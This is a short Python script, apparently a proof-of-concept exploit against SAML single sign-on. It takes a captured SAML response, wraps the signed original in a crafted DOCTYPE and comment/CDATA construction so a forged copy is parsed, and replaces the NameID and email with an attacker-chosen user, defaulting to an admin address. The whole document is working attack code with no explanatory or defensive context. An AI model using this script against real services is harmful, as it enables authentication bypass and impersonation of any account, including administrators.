import os,re
import base64
import urllib.parse
saml_response = os.getenv('SAMLResponse')
username = os.getenv('username')
saml_resp = base64.b64decode(urllib.parse.unquote(saml_response))
if not username:
    username='admin@example.com'
prefix = '''<!DOCTYPE foo SYSTEM 'x" [<!ATTLIST Signature xmlns CDATA #FIXED "http://www.w3.org/2000/09/xmldsig#" xmlns CDATA "block">]><!-- '>'''
pos = saml_resp.find(b'?>') + 2
saml_resp_mod = saml_resp[pos:]
saml_resp_mod = prefix + saml_resp_mod[:-17].decode() + "<![CDATA[-->" + saml_resp_mod[:-17].decode() + "<!--]]>--></samlp:Response>"
saml_resp_mod = re.sub(r'(<saml:NameID[^>]*>)[^<]+(</saml:NameID>)', rf'\1{username}\2', saml_resp_mod, count=1)
saml_resp_mod = re.sub(r'(<saml:Attribute Name="email"[^>]*>\s*<saml:AttributeValue[^>]*>)[^<]+(</saml:AttributeValue>)', rf'\1{username}\2', saml_resp_mod, count=1)
print(urllib.parse.quote(base64.b64encode(saml_resp_mod.encode())))
